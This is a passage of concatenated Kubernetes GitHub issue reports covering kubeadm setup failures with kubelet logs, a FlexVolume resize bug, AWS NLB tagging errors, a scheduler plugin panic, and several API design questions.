k8s.gcr.io/kube-scheduler-amd64:v1.10.3, k8s.gcr.io/etcd-amd64:3.1.12, k8s.gcr.io/pause-amd64:3.1\r \r   anything else we need to know?  :\r \r  output from systemctl status kubelet \r    \r ● kubelet.service - kubelet: the kubernetes node agent\r    loaded: loaded  /lib/systemd/system/kubelet.service; enabled; vendor preset: enabled \r   drop-in: /etc/systemd/system/kubelet.service.d\r            └─10-kubeadm.conf\r    active: active  running  since mon 2018-06-11 09:06:51 utc; 1h 36min ago\r      docs: http://kubernetes.io/docs/\r  main pid: 19055  kubelet \r     tasks: 14\r    memory: 42.2m\r       cpu: 1min 50.341s\r    cgroup: /system.slice/kubelet.service\r            └─19055 /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --pod-mani\r \r jun 11 10:42:39 vagrant kubelet 19055 : w0611 10:42:39.512359   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:42:39 vagrant kubelet 19055 : e0611 10:42:39.512954   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:42:44 vagrant kubelet 19055 : w0611 10:42:44.515066   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:42:44 vagrant kubelet 19055 : e0611 10:42:44.515895   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:42:49 vagrant kubelet 19055 : w0611 10:42:49.519081   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:42:49 vagrant kubelet 19055 : e0611 10:42:49.520058   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:42:54 vagrant kubelet 19055 : w0611 10:42:54.521659   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:42:54 vagrant kubelet 19055 : e0611 10:42:54.522426   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:42:59 vagrant kubelet 19055 : w0611 10:42:59.523821   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:42:59 vagrant kubelet 19055 : e0611 10:42:59.524316   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r ...skipping...\r ● kubelet.service - kubelet: the kubernetes node agent\r    loaded: loaded  /lib/systemd/system/kubelet.service; enabled; vendor preset: enabled \r   drop-in: /etc/systemd/system/kubelet.service.d\r            └─10-kubeadm.conf\r    active: active  running  since mon 2018-06-11 09:06:51 utc; 1h 36min ago\r      docs: http://kubernetes.io/docs/\r  main pid: 19055  kubelet \r     tasks: 14\r    memory: 42.2m\r       cpu: 1min 50.341s\r    cgroup: /system.slice/kubelet.service\r            └─19055 /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --pod-mani\r \r jun 11 10:42:39 vagrant kubelet 19055 : w0611 10:42:39.512359   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:42:39 vagrant kubelet 19055 : e0611 10:42:39.512954   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:42:44 vagrant kubelet 19055 : w0611 10:42:44.515066   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:42:44 vagrant kubelet 19055 : e0611 10:42:44.515895   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:42:49 vagrant kubelet 19055 : w0611 10:42:49.519081   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:42:49 vagrant kubelet 19055 : e0611 10:42:49.520058   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:42:54 vagrant kubelet 19055 : w0611 10:42:54.521659   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:42:54 vagrant kubelet 19055 : e0611 10:42:54.522426   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:42:59 vagrant kubelet 19055 : w0611 10:42:59.523821   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:42:59 vagrant kubelet 19055 : e0611 10:42:59.524316   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r    \r \r  output from journalctl -xeu kubelet \r    \r jun 11 10:43:29 vagrant kubelet 19055 : e0611 10:43:29.540875   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:43:34 vagrant kubelet 19055 : w0611 10:43:34.544604   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:43:34 vagrant kubelet 19055 : e0611 10:43:34.545284   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:43:39 vagrant kubelet 19055 : w0611 10:43:39.546876   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:43:39 vagrant kubelet 19055 : e0611 10:43:39.546963   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:43:44 vagrant kubelet 19055 : w0611 10:43:44.549024   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:43:44 vagrant kubelet 19055 : e0611 10:43:44.549166   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:43:49 vagrant kubelet 19055 : w0611 10:43:49.550209   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:43:49 vagrant kubelet 19055 : e0611 10:43:49.550769   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:43:54 vagrant kubelet 19055 : w0611 10:43:54.558808   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:43:54 vagrant kubelet 19055 : e0611 10:43:54.559426   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:43:59 vagrant kubelet 19055 : w0611 10:43:59.561071   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:43:59 vagrant kubelet 19055 : e0611 10:43:59.561287   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:44:04 vagrant kubelet 19055 : w0611 10:44:04.562443   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:44:04 vagrant kubelet 19055 : e0611 10:44:04.562887   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:44:09 vagrant kubelet 19055 : w0611 10:44:09.564652   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:44:09 vagrant kubelet 19055 : e0611 10:44:09.564750   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:44:14 vagrant kubelet 19055 : w0611 10:44:14.567424   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:44:14 vagrant kubelet 19055 : e0611 10:44:14.568229   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:44:19 vagrant kubelet 19055 : w0611 10:44:19.570011   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:44:19 vagrant kubelet 19055 : e0611 10:44:19.570595   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:44:24 vagrant kubelet 19055 : w0611 10:44:24.574212   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:44:24 vagrant kubelet 19055 : e0611 10:44:24.574866   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:44:29 vagrant kubelet 19055 : w0611 10:44:29.576492   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:44:29 vagrant kubelet 19055 : e0611 10:44:29.577045   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:44:34 vagrant kubelet 19055 : w0611 10:44:34.578645   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:44:34 vagrant kubelet 19055 : e0611 10:44:34.579315   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:44:39 vagrant kubelet 19055 : w0611 10:44:39.580828   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:44:39 vagrant kubelet 19055 : e0611 10:44:39.580930   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:44:44 vagrant kubelet 19055 : w0611 10:44:44.583160   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:44:44 vagrant kubelet 19055 : e0611 10:44:44.583871   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:44:49 vagrant kubelet 19055 : w0611 10:44:49.586298   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:44:49 vagrant kubelet 19055 : e0611 10:44:49.586741   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r jun 11 10:44:54 vagrant kubelet 19055 : w0611 10:44:54.591489   19055 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jun 11 10:44:54 vagrant kubelet 19055 : e0611 10:44:54.592339   19055 kubelet.go:2130  container runtime network not ready: networkready=false reason:\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r    \r - cloud provider or hardware configuration:\r    \r vagrant box with 4gb ram, 2 cpus\r    \r - os  e.g. from /etc/os-release :\r ubuntu 16-04  from vagrant box hashicorp-vagrant/ubuntu-16.04 \r - kernel  e.g.  uname -a  :\r    \r linux vagrant 4.4.0-109-generic  132-ubuntu smp tue jan 9 19:52:39 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r apt-get\r - others:\r n/a\r \r  other issues i've searched: \r - https://github.com/kubernetes/kubeadm/issues/742\r - https://github.com/kubernetes/kubeadm/issues/524

as of https://github.com/kubernetes/kubernetes/pull/56709, all kubernetes clusters with rbac bootstrap roles for aws, regardless of whether they are running on aws. the hardcoded rbac bootstrap policy should only include roles that are used by all clusters, regardless of addons, configuration, or cloud provider.\r \r the  system:aws-cloud-provider  clusterrole binding s should be removed from the bootstrap policy, and instead configured by the provisioning tools.\r \r   

what happened  :\r \r several resources default to orphaning dependents for backwards compatibility:\r   daemonsets in extensions/v1beta1, apps/v1beta2\r   deployments in extensions/v1beta1, apps/v1beta1, apps/v1beta2\r   replicasets in extensions/v1beta1, apps/v1beta2\r   statefulsets in apps/v1beta1, apps/v1beta2\r   jobs in batch/v1\r   cronjobs in batch/v1beta1, batch/v2alpha1\r   replicationcontrollers in v1\r \r calls made via client-go to delete these resource via these versions which do not specify a deletion propagation policy default to orphaning dependents. for controller-deleted resources, this is almost always not what we want.\r \r a specific example of this was https://github.com/kubernetes/kubernetes/issues/71772 that deleted jobs and accidentally orphaned pods.\r \r we should sweep controller calls that delete the resources/versions listed above without specifying a deletion propagation policy and decide what policy is expected. in general, i would expect controllers to use background deletion propagation.\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r  \r   what happened  \r setup a one-node kubernetes 1.13 cluster and installed with a plugin with volume provisioner and flexvolume for an external block storage. it worked correctly and successfully to create a pvc and a pod using it. however, it went in a problem when expanding the pvc, that the flexvolume plugin didn't get    expandfs    call.\r \r   what is expected to happen  \r when expand a pvc, the status goes into    filesystemresizepending   . and then, re-create  delete and then create again  the pod which is using the pvc, the flexvolume should get the    expandfs    call.\r \r environment:\r   kubernetes cluster  \r one node cluster, installed 1.13 version by kubeadm;\r \r   flexvolume plugin  \r 1. storageclass\r    \r allowvolumeexpansion: true\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   annotations:\r     storageclass.beta.kubernetes.io/is-default-class: \ false\ \r   creationtimestamp: 2018-12-04t22:54:36z\r   labels:\r     kubernetes.io/cluster-service: \ true\ \r   name: mystorage\r   resourceversion: \ 2659\ \r   selflink: /apis/storage.k8s.io/v1/storageclasses/mystorage\r   uid: 9296d77b-f817-11e8-9140-aa00c780d2c6\r parameters:\r   backend: block\r provisioner: mystorage-provisioner\r reclaimpolicy: delete\r volumebindingmode: immediate\r    \r 2. flexvolume plugin\r implemented the following apis for volume resizing:\r    \r expandvolume\r expandfs\r    \r in addition, the flexvolume is installed on the host, and working correctly for volume mount/unmount/attach/detach.\r \r   the pvc/pod info  \r     pvc:\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r     referenced in pod.yaml for the volume spec\r   name: mypvc-claim\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 5gi\r   storageclassname: mystorage\r    \r    pod:\r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r spec:\r     specify a volume that uses the claim defined in pvc.yaml\r   volumes:\r   - name: my-vol\r     persistentvolumeclaim:\r         claimname: mypvc-claim\r   containers:\r   - name: nginx\r     image: nginx\r       configure a mount for the volume we define above\r     volumemounts:\r     - name: my-vol\r       mountpath: /data\r     ports:\r     - containerport: 80\r    \r \r after creating pvc and pod successfully, resized the volume like:\r    kubectl edit pvc mypvc-claim   , changed the    resources.requests.storage    from    5g    to    8g   \r and then, the pvc status is changed\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     control-plane.alpha.kubernetes.io/leader: '{\ holderidentity\ :\ ab17a17f-0240-11e9-9c96-0a580af40023\ ,\ leasedurationseconds\ :15,\ acquiretime\ :\ 2018-12-17t21:18:15z\ ,\ renewtime\ :\ 2018-12-17t21:18:46z\ ,\ leadertransitions\ :0}'\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ kind\ :\ persistentvolumeclaim\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ mypvc-claim\ ,\ namespace\ :\ default\ },\ spec\ :{\ accessmodes\ : \ readwriteonce\  ,\ resources\ :{\ requests\ :{\ storage\ :\ 5gi\ }},\ storageclassname\ :\ pure\ }}\r     pv.kubernetes.io/bind-completed: \ yes\ \r     pv.kubernetes.io/bound-by-controller: \ yes\ \r     volume.beta.kubernetes.io/storage-provisioner: mystorage-provisioner\r   creationtimestamp: 2018-12-17t21:18:15z\r   finalizers:\r   - kubernetes.io/pvc-protection\r   name: mypvc-claim\r   namespace: default\r   resourceversion: \ 1364972\ \r   selflink: /api/v1/namespaces/default/persistentvolumeclaims/mypvc-claim\r   uid: 449d925b-0241-11e9-86ba-aa00c780d2c6\r spec:\r   accessmodes:\r   - readwriteonce\r   datasource: null\r   resources:\r     requests:\r       storage: 8gi\r   storageclassname: mystorage\r   volumemode: filesystem\r   volumename: pvc-449d925b-0241-11e9-86ba-aa00c780d2c6\r status:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 5gi\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2018-12-17t22:06:37z\r     message: waiting for user to  re- start a pod to finish file system resize of\r       volume on node.\r     status: \ true\ \r     type: filesystemresizepending\r   phase: bound\r    \r and also, found a log from kube-controller-manager as below:\r    \r dec 17 22:08:36 k8s-test-87bffe1e03-0 sha256:d82530ead066dbed965b7705b8989ffc41705b59a5592b68046da2bbf2f6cabe/k8s_kube-controller-manager_kube-controller-manager-k8s-test-87bffe1e03-0_kube-system_3e2cdea54768295fafbc91dab55ef6a1_3/1246867818db 24919 : w1217 22:08:36.795359       1 plugins.go:842  findexpandablepluginbyspec pvc-449d925b-0241-11e9-86ba-aa00c780d2c6  -> returning noopexpandablevolumeplugininstance\r    \r \r and then, deleted the pod which also called flexvolume plugin to unmount/detach the pvc/volume successfully. and later, created another pod which called flexvolume plugin to attach/mount the pvc successfully.\r however, it didn't send out expandfs call the flexvolume plugin for resizing filesystem.\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r there are multiple bugs when update nlb service with multiple ports:\r 1.  new targetgroup created are not tagged  https://github.com/kubernetes/kubernetes/blob/feb0937fa4433df5fb3b38f7d6afa98d17b0d486/pkg/cloudprovider/providers/aws/aws_loadbalancer.go l231 \r 1. multiple new targetgroup will result in error since  elbv2 only supports tagging 1 resource per request  https://github.com/kubernetes/kubernetes/blob/feb0937fa4433df5fb3b38f7d6afa98d17b0d486/pkg/cloudprovider/providers/aws/aws_loadbalancer.go l314 \r \r   what you expected to happen  :\r the above two bugs are fixed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create an service with nlb.\r 1. modify the service with 1 additional port.  will observe new tg created but not tagged \r 1. modify the service with 2 additional port. will observe error message says  elbv2 only supports tagging 1 resource per reques   \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r regist a prebind plugin will cause kube-scheduler panic\r   what you expected to happen  :\r do not panic\r   how to reproduce it  as minimally and precisely as possible   :\r regist a prebind plugin\r   anything else we need to know?  :  \r \r    \r         pg := pluginsneeded plugins \r \tif len pg  == 0 {\r \t\treturn f, nil\r \t}\r \r \tpluginconfig := pluginnametoconfig args \r         // r is empty\r \tfor name, factory := range r {\r \t\t// initialize only needed plugins\r \t\tif _, ok := pg name ; !ok {\r \t\t\tcontinue\r \t\t}\r \r \t\t// find the config args of a plugin\r \t\tpc := pluginconfig name \r \r \t\tp, err := factory pc, f \r \t\tif err != nil {\r \t\t\treturn nil, fmt.errorf \ error initializing plugin %v: %v\ , name, err \r \t\t}\r \t\tf.plugins name  = p\r \t}\r \r         // f.plugins will always be empty, so error will be returned\r \tif plugins.reserve != nil {\r \t\tfor _, r := range plugins.reserve.enabled {\r \t\t\tif pg, ok := f.plugins r.name ; ok {\r \t\t\t\tp, ok := pg. reserveplugin \r \t\t\t\tif !ok {\r \t\t\t\t\treturn nil, fmt.errorf \ plugin %v does not extend reserve plugin\ , r.name \r \t\t\t\t}\r \t\t\t\tf.reserveplugins = append f.reserveplugins, p \r \t\t\t} else {\r \t\t\t\treturn nil, fmt.errorf \ reserve plugin %v does not exist\ , r.name \r \t\t\t}\r \t\t}\r \t}\r    \r \r the comment for enabled \r    \r type pluginset struct {\r \t// enabled specifies plugins that should be enabled in addition to default plugins.\r \t// these are called after default plugins and in the same order specified here.\r \tenabled   plugin\r \t// disabled specifies default plugins that should be disabled.\r \t// when all default plugins need to be disabled, an array containing only one \  \  should be provided.\r \tdisabled   plugin\r }\r    \r \r thus i am confused by the code and the comment\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r v1.15.0-rc.1\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

master.config.storageversion enables users to change the storage version for each group supported by api server. same thing can be done using kube_api_versions env variable.  documentation says to use kube_api_versions to switch the storage version https://github.com/kubernetes/kubernetes/blob/master/docs/admin/cluster-management.md switching-your-clusters-storage-api-version.  do we need to support master.config.storageversion or is it fine to delete it?  cc @smarterclayton @lavalamp @caesarxuchao @kubernetes/goog-csi

i use kubernetes as google cloud's container cluster. i updated my cluster with the built-in tool to  1.2.4 , the update finished in couple of minutes and my pods were started automatically  i use deployments .  but my pods were unreachable via the exposed port and i've seen several network related errors from both my app-log messages and from kubernetes system as well, like:      level=error msg=\ failure forwarding request \\\ read udp 10.0.2.5:32971->10.3.240.10:53: i/o timeout\\\ \       it seemed to me that my web server neither could receive and neither make requests. after deleting and recreating all the pods, it's worked.  any idea? thanks!

get the following error msg when trying to delete a namespace from the federation:   namespace_controller.go:371  failed to delete namespace  : no kind \ deleteoptions\  is registered for the internal version of group \ federation\    kubernetes cluster info:   client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0+a16c0a7\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ not a git tree\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0+a16c0a7\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ not a git tree\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }

as of mirror pods serve as a \ mirror\  of the state of static pods on a node. if a static pod gets evicted, the mirror pod will reflect this state change, but is never deleted.\r when kubelet restarts it restarts previously evicted static pods and so the old mirror pod is no longer valid.\r \r we need to either delete mirror pods once their respective static pods have been completely removed from the node, or\r have kubelet avoid restarting static pods based on the presence of corresponding mirror pods.\r \r the latter would require kubelet to wait for access to api server which will affect bootstrapping scenarios  bootstrapping a master node using static pods \r \r the former might be a better alternative for now until kubelet can avoid having multiple simultaneous sources of pods.\r \r cc @dashpole @kubernetes/sig-node-bugs

problem: endpoints object currently is unsuitable for doing any reasonable patch operation  i.e. at the level of individual list entries, because a patch on the entire list is as good as a put of the endpoints object and hence useless .\r \r reason: there is no way of key'ing individual entries in the endpoints list currently because we do not have one entry for each <ip, port> pair but rather have one entry for all the ips having the same set of ports. this is represented as a cartesian product:\r \r    \r      trimmed down for brevity     \r type endpoints struct {\r \tsubsets   endpointsubset  json:\ subsets\  protobuf:\ bytes,2,rep,name=subsets\  \r }\r \r // for eg.\r //   {\r //     addresses:  {\ ip\ : \ 10.10.1.1\ }, {\ ip\ : \ 10.10.2.2\ } ,\r //     ports:      {\ name\ : \ a\ , \ port\ : 8675}, {\ name\ : \ b\ , \ port\ : 309} \r //   }\r type endpointsubset struct {\r \taddresses   endpointaddress  json:\ addresses,omitempty\  protobuf:\ bytes,1,rep,name=addresses\  \r \tnotreadyaddresses   endpointaddress  json:\ notreadyaddresses,omitempty\  protobuf:\ bytes,2,rep,name=notreadyaddresses\  \r \tports   endpointport  json:\ ports,omitempty\  protobuf:\ bytes,3,rep,name=ports\  \r }\r    \r \r we need to key the endpointsubset struct somehow.\r also, the compaction of size => some extra computation for the patch object  but i guess we are fine with it? \r \r cc @kubernetes/sig-api-machinery-misc @kubernetes/sig-scalability-misc @smarterclayton @gmarek

unable to proceed with kubeadm init due to the log below. \r   this is just for the initial setup. i've tried:  \r  - removing the environment=\ kubelet_network_args=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\  line from the 10-kubelet.conf file\r  - copying /etc/kubernetes/admin.conf to $home/.kube/config and restarting kubelet + daemon-reload\r \r   kubectl apply -f doesn't seem to work as well due to the error below:   \r the connection to the server 107.105.136.28:6443 was refused - did you specify the right host or port?\r \r   what happened  :\r please see below log from   _journalctl -xeu kubelet_  \r \r mar 07 20:42:25 server1 kubelet 14619 : e0307 20:42:25.908557   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://107.105.136.28:6443/api/v1/pods?fieldselector=spec.nodename%3dserver1&limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:26 server1 kubelet 14619 : e0307 20:42:26.718263   14619 eviction_manager.go:238  eviction manager: unexpected err: failed to get node info: node \ server1\  not found\r mar 07 20:42:26 server1 kubelet 14619 : e0307 20:42:26.906939   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://107.105.136.28:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:26 server1 kubelet 14619 : e0307 20:42:26.907933   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get https://107.105.136.28:6443/api/v1/nodes?fieldselector=metadata.name%3dserver1&limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:26 server1 kubelet 14619 : e0307 20:42:26.908994   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://107.105.136.28:6443/api/v1/pods?fieldselector=spec.nodename%3dserver1&limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:27 server1 kubelet 14619 : e0307 20:42:27.392766   14619 remote_runtime.go:92  runpodsandbox from runtime service failed: rpc error: code = unknown desc = failed pulling image \ gcr.io/google_containers/pause-amd64:3.0\ : error response from daemon: get https://gcr.io/v2/: net/http: request canceled while waiting for connection  client.timeout exceeded w\r mar 07 20:42:27 server1 kubelet 14619 : e0307 20:42:27.392788   14619 kuberuntime_sandbox.go:54  createpodsandbox for pod \ kube-apiserver-server1_kube-system 7c74aa0f4b9044a62ba3fc2b222b6a49 \  failed: rpc error: code = unknown desc = failed pulling image \ gcr.io/google_containers/pause-amd64:3.0\ : error response from daemon: get https://gcr.io/v2/: net/http: request c\r mar 07 20:42:27 server1 kubelet 14619 : e0307 20:42:27.392795   14619 kuberuntime_manager.go:647  createpodsandbox for pod \ kube-apiserver-server1_kube-system 7c74aa0f4b9044a62ba3fc2b222b6a49 \  failed: rpc error: code = unknown desc = failed pulling image \ gcr.io/google_containers/pause-amd64:3.0\ : error response from daemon: get https://gcr.io/v2/: net/http: request\r mar 07 20:42:27 server1 kubelet 14619 : e0307 20:42:27.392823   14619 pod_workers.go:186  error syncing pod 7c74aa0f4b9044a62ba3fc2b222b6a49  \ kube-apiserver-server1_kube-system 7c74aa0f4b9044a62ba3fc2b222b6a49 \  , skipping: failed to \ createpodsandbox\  for \ kube-apiserver-server1_kube-system 7c74aa0f4b9044a62ba3fc2b222b6a49 \  with createpodsandboxerror: \ createpodsandbo\r mar 07 20:42:27 server1 kubelet 14619 : e0307 20:42:27.907221   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://107.105.136.28:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:27 server1 kubelet 14619 : e0307 20:42:27.908220   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get https://107.105.136.28:6443/api/v1/nodes?fieldselector=metadata.name%3dserver1&limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:27 server1 kubelet 14619 : e0307 20:42:27.909242   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://107.105.136.28:6443/api/v1/pods?fieldselector=spec.nodename%3dserver1&limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:28 server1 kubelet 14619 : i0307 20:42:28.239272   14619 kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r mar 07 20:42:28 server1 kubelet 14619 : i0307 20:42:28.246581   14619 kubelet_node_status.go:82  attempting to register node server1\r mar 07 20:42:28 server1 kubelet 14619 : e0307 20:42:28.246744   14619 kubelet_node_status.go:106  unable to register node \ server1\  with api server: post https://107.105.136.28:6443/api/v1/nodes: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:28 server1 kubelet 14619 : e0307 20:42:28.907491   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://107.105.136.28:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:28 server1 kubelet 14619 : e0307 20:42:28.908477   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get https://107.105.136.28:6443/api/v1/nodes?fieldselector=metadata.name%3dserver1&limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:28 server1 kubelet 14619 : e0307 20:42:28.909606   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://107.105.136.28:6443/api/v1/pods?fieldselector=spec.nodename%3dserver1&limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:29 server1 kubelet 14619 : e0307 20:42:29.907804   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://107.105.136.28:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:29 server1 kubelet 14619 : e0307 20:42:29.908776   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get https://107.105.136.28:6443/api/v1/nodes?fieldselector=metadata.name%3dserver1&limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:29 server1 kubelet 14619 : e0307 20:42:29.909785   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://107.105.136.28:6443/api/v1/pods?fieldselector=spec.nodename%3dserver1&limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:30 server1 kubelet 14619 : e0307 